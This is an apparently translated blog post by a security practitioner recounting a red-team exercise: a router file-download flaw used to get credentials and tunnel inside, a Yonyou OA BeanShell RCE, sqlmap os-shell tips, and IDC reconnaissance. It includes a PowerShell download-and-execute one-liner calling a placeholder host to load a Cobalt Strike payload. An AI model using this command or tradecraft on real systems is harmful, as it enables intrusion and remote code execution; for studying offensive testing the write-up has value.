SongShuA

SongShuA

胸中梦黄粱,手握自在心 一个充满想法的网络安全从业人员 A person with dreams in their heart and the ability to control their own destiny, who is a creative professional in the field of cybersecurity.
github

某省市HW随記

前回、小さな宿題をやっていた時に、いくつかのものに出会ったので、メモしておきます。

a882505938e4339ae2bd0ca96eb2ec3

1. ルーターのセキュリティ#

情報収集のためにネットワークを広範囲に検索していると、対象のネットワークセグメントにルーターログイン画面が存在することがわかりました。

Snipaste_2022-07-14_23-58-36

この種のルーターは一般的に家庭用であり、ほとんどの企業は使用していませんが、このネットワークセグメントは商業用のため、住民ユーザーは存在しないはずです。したがって、これは規則に従わずに意図せずに公開されたものと推測されます。ローカルの脆弱性データベースで検索して、任意のファイルをダウンロードする方法を見つけました。設定ファイルをダウンロードして、アカウントのパスワードを取得しました。

Snipaste_2022-07-15_00-04-10
コンソールに入ると、トンネルプロキシ機能があることがわかりました。

Snipaste_2022-07-15_00-08-44
しばらく試行錯誤して、このものの使い方を理解しました。クライアントの設定を行うだけで接続できます。サーバーは、同じブランドのルーターを複数台接続するために使用されます。IPSec は暗号化方式であり、使用しなくても問題ありません。

最終的に、pptp + win7 システムを使用して接続に成功しました。win11 や mac では正常に接続できません(kali も異常が発生します)。接続が完了すると、ターゲットの内部ネットワークに入ることになります。以降の詳細は省略します......

2. 用友 bash#

1. beanshell の利用#

対象のネットワークセグメントで、対象の企業の OA システムが用友であり、Beanshell RCE が存在することがわかりました。

Snipaste_2022-07-15_00-17-08
しかし、最初にデフォルトの Beanshell ディレクトリページが存在することがわかりましたが、任意のコマンドを実行することはできませんでした。そのため、この脆弱性の具体的な分析を詳しく調べ、他のディレクトリ(モジュール)にも同じ脆弱性が存在することがわかりました。そのため、辞書を使用してパスを実行し、その中から最適なものを選んで後続の操作を行いました。 辞書のリンク

2. 接続が切断される問題#

bs rce ページに正常にアクセスできた後、シェルをバウンスさせる操作を行いました。現在はインタラクティブシェルではないため、多くの操作が制限されており、さまざまな環境の問題があります。最終的には powershell を使用して cs にオンライン接続することを選択しました。ここでまた問題が発生しました。cs で生成されたペイロードを実行するたびに、オンラインになることが示されますが、60 秒を超えるとまだ切断されます。

これは、cs のデフォルトセッションが 60 秒のタイムアウトであり、ハートビートがない場合にセッションが終了するためです。では、なぜセッションが中断されるのでしょうか。本質的には、私たちが実行するコマンドは Web サービスを使用しています。そして、Web セッションは非永続的です。ウェブページの読み込みが完了すると、セッションは終了します。そして、私たちがシェルをバウンスさせる操作も Web に依存しています。したがって、ウェブページのシェルが完了すると(ウェブページの実行が完了すると)、セッションが中断され、プロセスが破棄され、当然 CS セッションも切断されます。しかし、CS sleep 60s を使用すると、セッションが 60 秒間生きていると誤解される可能性があります。
最終的な解決策:引き続き powershell を使用し、ロジックを変更します。ダウンロードしてコマンドを実行するように変更します。

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://xxx.com/shell')"

この時点でプログラムの実行ロジックは次のようになります:まずダウンロードし、それから別の powershell を起動してコンテンツを実行します。

ウェブページのセッションが終了すると、システムはダウンロードプロセスを破棄します。別のプロセスはそのまま残り、CS セッションは正常に維持されます。

3. MSSQL インジェクションとウェブサイトライブラリの分離#

対象の公式ウェブサイトの特定の機能に MSSQL SQLi が存在することがわかりました。

sqlmap を使用して OS シェルに直接アクセスすることができました。しかし、シェルをバウンスさせる際に、ネットワークに出ることができず、DNS も出ませんでした。そのため、ウェブシェルプロキシを書き込んで後続の操作を行おうとしましたが、システムを徹底的に調べても対応するディレクトリが見つかりませんでした。おそらくウェブサイトとデータベースが分離されているため、ウェブシェルの計画は頓挫しました。
Sqlmap os-shell の小さなトリック

1. スペースを含むディレクトリに遭遇した場合は、ダブルクォーテーションで囲むことができます。例:cd "C:\Program Files"。ディレクトリの dir は存在するが、cd は存在しないと言われる場合、おそらくどこかにスペースが含まれているためです。

2. 中国語のディレクトリに遭遇した場合、sqlmap は cd できません。これは、sqlmap と Windows の cmd のデフォルトエンコーディングが一致しないためです。sqlmap は UTF-8 で、対象の cmd は GBK です。この場合、パケットキャプチャを使用してエンコーディングを変更することができます(しかし、非常に面倒です)。

3. Windows で os-shell に大量のコンテンツを書き込む場合、クリップボードの内容を 1 文字ずつ自分のターミナルにレンダリングする必要があります。非常に時間がかかり、大量のシステムリソースを使用します。私は超注入ツールの GUI インターフェースを使用して書き込むことを選択し、多くの時間とリソースを節約しました(遅延も発生しますが、ターミナルよりもはるかに良いです)。

4. echo などのコマンドを使用してコンテンツを書き込むと、8K の制限があります。一度に書き込めるデータのサイズは 8K です。市場に出回っているほとんどのツールは、この制限の影響を受ける書き込み方法を使用しています。

ウェブサイトとデータベースが分離されており、ネットワークに出ない場合、このような状況にはまったく遭遇したことがありません。そのため、私は友人である @海鸥 i に助言を求めました。
彼は私に彼が書いた記事を読むことを勧めました。

关于站库分离数据库不出网落地 Exe 方式探究 - Mssql

关于站库分离数据库不出网落地 Exe 方式探究 - Mysql

记一次无回显不出网站库分离

上記のいずれかの方法で fscan などを書き込み、すべての結果をテキストに出力し、テキストから情報を取得するまで続けます。出口ホストに横断するまで。最終的には Bcp を使用してファイルを書き込むことにしましたが、データベースにアクセスする必要があり、操作が比較的敏感で時間もかかるため、このターゲットを深く探求するのはやめました。

4. Powershell のエンコーディング#

あるターゲットで Powershell を実行する際に、引用符やスラッシュなどが正常な動作に影響し、最終的に転送に失敗することがわかりました。そのため、b64 エンコードしてから転送し、デコードすることを考えました。CS の Powershell コマンドはこのように操作します。適当なツールを使用してエンコードしてみましたが、シェルコマンドが正常に実行されませんでした。調査した結果、Powershell の base64 と通常の base64 にはわずかな違いがあり、直接互換性がないことがわかりました。そのため、GitHub で変換スクリプトを見つけ、問題を解決しました。

スクリプトのリンク

5. ターゲット仮想マシン - ネットワークアーキテクチャ#

対象のネットワークセグメントに IDC のホームページが存在し、公式ウェブサイトを取得した後、そのマシンには内部ネットワーク IP がなく、ゲートウェイもパブリック IP です。172/192 セグメントに対する ping 応答はなく、ping 探査を禁止されているため、いくつかの 192 マシンを発見しましたが、25/110 ポートのみが開いており、非常に異常です。

他の方からのヒントで、おそらく仮想マシンである可能性があり、内部ネットワークの範囲を広げて探査しましたが、複数の 10 セグメントが見つかりましたが、すべてルーターでした。さらに進むと、おそらく仮想マシンのエスケープのみが残されますが、難易度が高すぎて時間がかかります。

再び公式ウェブサイトシステムを見直すと、データベースサーバー、Redis サーバー、ROS サーバーのアカウントとパスワード、および IP が設定ファイルに見つかりましたが、データベースと Redis はアクセスホワイトリストが存在し、ROS サーバーのみがアクセスできることがわかりました。ただし、この ROS サーバーが何であるかはわかりません。したがって、百度で学習し、最終的にルーターであることがわかり、接続ツールを見つけました リンク

winboc-zh4

接続すると、このような状態になりますが、あまり価値はありません。まとめると、時間が十分にある場合は、このような IDC のアーキテクチャに遭遇した場合は、一旦置いておくことをお勧めします。後で再評価することができます。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。